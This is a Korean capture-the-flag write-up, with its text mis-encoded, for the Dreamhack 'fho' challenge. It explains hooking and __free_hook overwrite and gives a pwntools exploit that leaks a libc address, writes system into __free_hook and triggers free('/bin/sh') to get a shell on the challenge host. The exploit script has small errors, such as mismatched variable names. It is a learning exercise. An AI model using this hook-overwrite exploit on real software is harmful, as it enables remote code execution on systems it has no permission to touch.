Jastes 2022. 10. 30. 23:50


fho

๋ฌธ์ œ ํ’€์ด

๋ชจ๋“  ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด ์žˆ๋„ค์š”.. ์™€์šฐ

๋“ค์–ด๊ฐ€๊ธฐ ์ „์— ์•Œ์•„๋‘๋ฉด ์ข‹์€ ์šฉ์–ด

ํ‚ค์›Œ๋“œ

  • Hooking: ์–ด๋–ค ํ•จ์ˆ˜, ํ”„๋กœ๊ทธ๋žจ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋ ค ํ•  ๋•Œ ์ด๋ฅผ ๊ฐ€๋กœ์ฑ„์„œ ๋‹ค๋ฅธ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ํ•˜๋Š” ๊ธฐ๋ฒ•. ๋””๋ฒ„๊น…, ๋ชจ๋‹ˆํ„ฐ๋ง, ํŠธ๋ ˆ์ด์‹ฑ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ํ‚ค๋กœ๊น…์ด๋‚˜ ๋ฃจํŠธํ‚ท ์ œ์ž‘์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Œ.
  • Hook Overwrite: ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์กด์žฌํ•˜๋Š” ํ›…์„ ๋ฎ์–ด์จ์„œ ํŠน์ • ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ, ์•…์˜์ ์ธ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•. ๋ฉ”๋ชจ๋ฆฌ ๊ด€๋ฆฌ์™€ ๊ด€๋ จ๋œ malloc, free, realloc๋“ฑ์˜ ํ•จ์ˆ˜๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํ›… ํฌ์ธํ„ฐ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์„œ ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Œ. Full RELRO๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Œ.
  • one_gadget: ์‹คํ–‰ํ•˜๋ฉด ์…ธ์ด ํš๋“๋˜๋Š” ์ฝ”๋“œ ๋ญ‰์น˜. david942j๊ฐ€ ๋งŒ๋“ค์–ด๋†“์€ ํˆด์„ ์‚ฌ์šฉํ•˜๋ฉด libc์˜ ๋ฒ„์ „๋งˆ๋‹ค ์œ ํšจํ•œ one_gadget์„ ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ์Œ.

Exploit ์„ค๊ณ„

๊ทธ๋Ÿผ ์ €ํฌ๋Š” ์ด์ „์— ํ–ˆ๋˜ ๊ฑฐ์ฒ˜๋Ÿผ system()ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์–ด ์ตœ์ข…์ ์œผ๋กœ system("/bin/sh") ํ˜ธ์ถœ!
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด read()ํ•จ์ˆ˜์™€ write()๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์‹ค์ œ ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” ๋ฐฉ์‹์€
์ด์ „์— ๋ฐฐ์› ์œผ๋ฏ€๋กœ ์ƒ๋žตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๊ทธ ๋‹ค์Œ์œผ๋กœ ์ €ํฌ๋Š” rop chain์„ ์ด์šฉํ•ด overwirte ํ•ด์ฃผ๊ณ  ์ด๋ฒˆ์—” bss ์˜์—ญ์„ ํ™œ์šฉํ•˜์—ฌ ์ ‘๊ทผํ• ๊ฑฐ์˜ˆ์š”
์ฐธ๊ณ ๋กœ bss ์˜์—ญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ด์œ ๋Š” Paritial RELRO ๋•Œ๋ฌธ์ธ๋ฐ ์ถ”ํ›„์— ๋ฐฐ์šธ ๋‚ด์šฉ์ด๋‹ˆ๊นŒ ๋„˜์–ด๊ฐ€์ฃ ๋ณด์‹œ๋ฉด 1๋ฒˆ์งธ์— bof๋กœ leak baes๋ฅผ ํš๋“
2๋ฒˆ์งธ๋กœ Overwiret๋กœ free_hook๊ณผ system์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  one_gadget์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ์…ธ์ด ํš๋“๋˜๋Š” ์ฝ”๋“œ ๋ญ‰์น˜๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•˜๋ฏ€๋กœ

sudo apt-get install ruby-full
gem install one_gadget

๋กœ ๋‹ค์šด๋กœ๋“œ ํ•œ ํ›„ ๋ฒ„์ „์— ๋งž๊ฒŒ ์ƒํ™ฉ์— ๋งž๊ฒŒ ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์ œ์•ฝ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๊ฒŒ ์กฐ์ž‘ํ•ด์ค๋‹ˆ๋‹ค.
one_gadget์€ ํ•จ์ˆ˜์— ์ธ์ž๋ฅผ ์ „๋‹ฌํ•˜๊ธฐ ์–ด๋ ค์šธ ๋•Œ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ๋™์ ํ• ๋‹น์— ์œ ์šฉํ•˜์ฃ 
์˜ˆ์‹œ๋กœ malloc์„ ํ˜ธ์ถœ ์‹œ ์ธ์ž๋ฅผ ๊ฒ€์‚ฌํ•˜์—ฌ ์ž‘์€ ์ •์ˆ˜๋งŒ ์ž…๋ ฅ๋˜๋Š” ์ƒํ™ฉ์— "/bin/sh"๋Š” ์ „๋‹ฌ์ด ํž˜๋“ค์ฃ 

์ด๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค!


Exploit

์šฐ๋ฆฌ๊ฐ€ ์ตœ์ข…์ ์œผ๋กœ ํ˜ธ์ถœํ•ด์•ผ ํ•˜๋Š” ํ•จ์ˆ˜๋Š” system("/bin/sh")๋ผ๋Š” ๊ฒƒ์„ ์œ ๋…ํ•˜๋ฉฐ, ์‹œ์ž‘ํ•ด๋ด…์‹œ๋‹ค!
์šฐ์„  lib์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์„œ system()์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•œ๋‹ค ๊ทธ๋Ÿผ PIE ๋•๋ถ„์— ret gadget์„ ์ด์šฉํ•ด
์ด์ „์ฒ˜๋Ÿผ read์˜ got๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ๋„ ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ stack์˜ ๋‚ด๋ถ€์— ์žˆ๋Š” libc ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉ!

mainํ•จ์ˆ˜์— ret๋Š” __libc_start_main()์œผ๋กœ ์ด ๋ถ€๋ถ„์„ ํ™œ์šฉํ•ด์•ผ๊ฒ ์Šต๋‹ˆ๋‹ค.

gdb๋ฅผ ํ™œ์šฉํ•ด bt๋ฅผ ์ž…๋ ฅ ์‹œ stack์— ์žˆ๋Š” ํ•จ์ˆ˜๋“œ๋ฅด์ด ํ˜„ํ™ฉ์„ ํ™•์ธ ๊ฐ€๋Šฅํ•œ๋ฐ
main() ์•„๋ž˜ ์šฐ๋ฆฌ๊ฐ€ ์ฐพ๋˜ libc..๊ฐ€ ์กด์žฌํ•จ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค!

main()์— bp๋ฅผ ๊ฑธ์–ด ๋””๋ฒ„๊น… ํ•˜๋ฉด rsp ๋ถ€๋ถ„์— +122 ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
์ด๋ฅผ ํ™œ์šฉํ•ด one_gadget ์ฆ‰, free heap overwrite๋ฅผ ํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ 

๋‹ค์Œ์œผ๋กœ free()๊ฐ€ ํ˜ธ์ถœ๋˜๊ณ  ๊ทธ ๋‹ค์Œ์— ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ __free_hook()์ด๋ผ๋Š” ํ›…์„ ํ›„ํ‚นํ•˜๊ธฐ ์œ„ํ•ด
ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ system()์œผ๋กœ ๋ฎ์€ ๋’ค free("/bin/sh")์„ ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ system("/bin/sh")๊ฐ€ ๋˜๊ฒ ์ฃ 
__free_hook()์˜ ๊ฒฝ์šฐ free()์™€ ๊ฐ™์€ ์ธ์ž๋ฅผ ๊ฐ–๊ธฐ์— ๊ฐ€๋Šฅํ•œ ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค!

one_gadget์™€ ๊ฐ™์€ ๋ถ€๋ถ„์€ ์•„์ง๊นŒ์ง€๋Š” ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ž˜ ๋ชฐ๋ผ์„œ ์ด๋Ÿฐ ์‹์œผ๋กœ ์ž‘์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค
์–ด์ฐŒ๋ณด๋ฉด RTL์˜ ์‘์šฉ๊ฐ™๋„ค์š” ๊ทธ๋ž˜์„œ ๊ทธ๋ ‡๊ฒŒ ์ค‘์š”ํ•˜๋‹ค๊ณ  ํ•˜๋Š”๊ฑธ๊นŒ์š”?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
def log(a, b):
    return success(": ".join([a, hex(b)]))
 
= remote("host3.dreamhack.games"11837)
= ELF("./fho")
libc = ELF("./libc-2.27.so")
 
libc_start_main_offset = libc.symbols["__libc_start_main"]
system_offset = libc.symbols["system"]
free_hook_offset = libc.symbols["__free_hook"]
binsh_offset = next(libc.search(b"/bin/sh"))
 
payload = b'A'*0x48
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
libc_start_main_122 = u64(p.recvn(6+ b'\x00'*2)
libc_base = libc_start_main_231 - (libc_start_main_offset + 122)
system_address = libc_base + system_offset
free_hook_address = libc_base + free_hook_offset
binsh_address = libc_base + binsh_offset
 
log("libc_base", libc_base)
log("libc_start_main_122", libc_start_main_122)
log("system() address", system_address)
log("free_hook address", free_hook_address)
log("\"/bin/sh\" address", binsh_address)
 
p.sendlineafter("To write: "str(free_hook_address))
p.sendlineafter("With: "str(system_address))
 
p.sendlineafter("To free: "str(binsh_address))
 
p.interactive()
                
cs

์ „์ฒด์ ์ธ ์ฝ”๋“œ๋Š” ํ•ด๋‹น fho๋ฅผ ์„ค๋ช…ํ•˜๋Š” dreamhack์˜ ์‚ฌ์ดํŠธ์˜ ์ž๋ฃŒ๋ฅผ ์ฐธ๊ณ ํ•˜์˜€์œผ๋ฉฐ
์„ธ๋ถ€์ ์ธ ๊ตฌ์„ฑ์€ ์œ„์— ์ž‘์„ฑํ•˜๋ฏ€๋กœ ์„ธ๋ถ€์ ์ธ ๋‚ด์šฉ์€ ๊ทธ ์ž๋ฃŒ๋ฅผ ์ฐธ๊ณ ํ•˜์‹œ๋ฉด ๋  ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค

๋˜ํ•œ hook์€ libc์˜ ์ฃผ์†Œ์— ์žˆ๋Š” ๋‚ด์šฉ์„ ์ฐธ๊ณ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์œ„์™€ ๊ฐ™์€ ๋‚ด์šฉ์„ ํ™•์ธํ•œ๋‹ต๋‹ˆ๋‹ค!


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€